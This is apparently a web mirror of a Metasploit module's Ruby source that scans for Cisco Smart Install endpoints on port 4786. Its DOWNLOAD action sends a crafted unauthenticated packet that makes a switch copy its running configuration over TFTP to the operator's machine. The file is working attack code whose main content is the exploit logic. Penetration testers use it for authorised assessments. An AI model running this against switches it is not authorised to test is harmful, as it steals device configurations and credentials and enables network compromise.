CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/cisco_smart_install.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Cisco
9
include Msf::Auxiliary::Scanner
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Identify Cisco Smart Install endpoints',
17
'Description' => %q(
18
This module attempts to connect to the specified Cisco Smart Install port
19
and determines if it speaks the Smart Install Protocol. Exposure of SMI
20
to untrusted networks can allow complete compromise of the switch.
21
),
22
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>', 'Mumbai'],
23
'References' =>
24
[
25
['URL', 'https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'],
26
['URL', 'https://blogs.cisco.com/security/cisco-psirt-mitigating-and-detecting-potential-abuse-of-cisco-smart-install-feature'],
27
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi'],
28
['URL', 'https://github.com/Cisco-Talos/smi_check'],
29
['URL', 'https://github.com/frostbits-security/SIET']
30
31
],
32
'License' => MSF_LICENSE,
33
'DefaultAction' => 'SCAN',
34
'Actions' => [
35
['SCAN', 'Description' => 'Scan for instances communicating via Smart Install Protocol (default)'],
36
['DOWNLOAD', 'Description' => 'Retrieve configuration via Smart Install Protocol']
37
],
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(4786),
44
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]),
45
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10]),
46
OptString.new('CONFIG', [ true, "The source config to copy when using DOWNLOAD", "system:running-config" ])
47
]
48
)
49
end
50
51
# thanks to https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py#L52-L53
52
SMI_PROBE = "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00".freeze
53
SMI_RE = /^\x00{3}\x04\x00{7}\x03\x00{3}\x08\x00{3}\x01\x00{4}$/
54
def smi?
55
sock.puts(SMI_PROBE)
56
response = sock.get_once(-1)
57
if response
58
if SMI_RE.match(response)
59
print_good("Fingerprinted the Cisco Smart Install protocol")
60
return true
61
else
62
vprint_status("No match for '#{response}'")
63
end
64
else
65
vprint_status("No response")
66
end
67
end
68
69
def start_tftp
70
print_status("Starting TFTP Server...")
71
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
72
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
73
@tftp.start
74
add_socket(@tftp.sock)
75
@main_thread = ::Thread.current
76
end
77
78
def cleanup
79
# Cleanup is called once for every single thread
80
if ::Thread.current == @main_thread
81
# Wait 5 seconds for background transfers to complete
82
print_status("Providing some time for transfers to complete...")
83
sleep(5)
84
85
if @tftp
86
print_status("Shutting down the TFTP service...")
87
@tftp.close rescue nil
88
@tftp = nil
89
end
90
end
91
end
92
93
#
94
# Callback for incoming files
95
#
96
def process_incoming(info)
97
return if not info[:file]
98
name = info[:file][:name]
99
data = info[:file][:data]
100
from = info[:from]
101
return if not (name && data && from)
102
103
# Trim off IPv6 mapped IPv4 if necessary
104
from = from[0].dup
105
from.gsub!('::ffff:', '')
106
107
print_status("Incoming file from #{from} - #{name} (#{data.length} bytes)")
108
cisco_ios_config_eater(from, rport, data)
109
end
110
111
def decode_hex(string)
112
string.scan(/../).map { |x| x.hex }.pack('c*')
113
end
114
115
def request_config(tftp_server, config)
116
copy_config = "copy #{config} tftp://#{tftp_server}/#{Rex::Text.rand_text_alpha(8)}"
117
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
118
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))
119
print_status("Attempting #{copy_config}")
120
sock.put(packet)
121
end
122
123
def run_host(ip)
124
begin
125
case
126
when action.name == 'SCAN'
127
connect
128
return unless smi?
129
when action.name == 'DOWNLOAD'
130
start_tftp
131
connect
132
return unless smi?
133
disconnect # cant send any additional packets, so closing
134
connect
135
tftp_server = datastore['LHOST'] || Rex::Socket.source_address(ip)
136
request_config(tftp_server, datastore['CONFIG'])
137
print_status("Waiting #{datastore['SLEEP']} seconds for configuration")
138
Rex.sleep(datastore['SLEEP'])
139
end
140
rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \
141
::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
142
vprint_error("error while connecting and negotiating Cisco Smart Install: #{e}")
143
return
144
ensure
145
disconnect
146
end
147
148
service = report_service(
149
host: rhost,
150
port: rport,
151
proto: 'tcp',
152
name: 'Smart Install'
153
)
154
155
report_vuln(
156
host: rhost,
157
service: service,
158
name: name,
159
info: "Fingerprinted the Cisco Smart Install Protocol",
160
refs: references,
161
exploited_at: Time.now.utc
162
)
163
end
164
end
165
166